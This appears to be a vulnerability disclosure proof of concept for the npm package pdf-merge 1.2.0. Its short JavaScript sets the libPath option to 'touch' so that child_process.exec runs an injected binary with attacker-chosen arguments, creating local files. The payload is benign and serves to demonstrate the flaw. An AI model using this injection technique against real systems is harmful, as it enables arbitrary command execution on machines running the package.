Package pdf-merge: it is possible to inject a custom binary and arguments for example to create a local file.

pdf-merge-1.2.0_poc.js

'use strict'

const pkg = require('pdf-merge');

const args = ['exploited.txt', ''];
const options = {
    libPath: 'touch'
};

/*
 * Internally, child_process.exec will receive the following 'args' array:
 * args = ["'exploited.txt'", '', 'cat', 'output', '/tmp/tmp-51678QKAWg57RLnT9']
 * This will create local files 'exploited.txt', 'cat' and 'output'.
 */
pkg(args, options);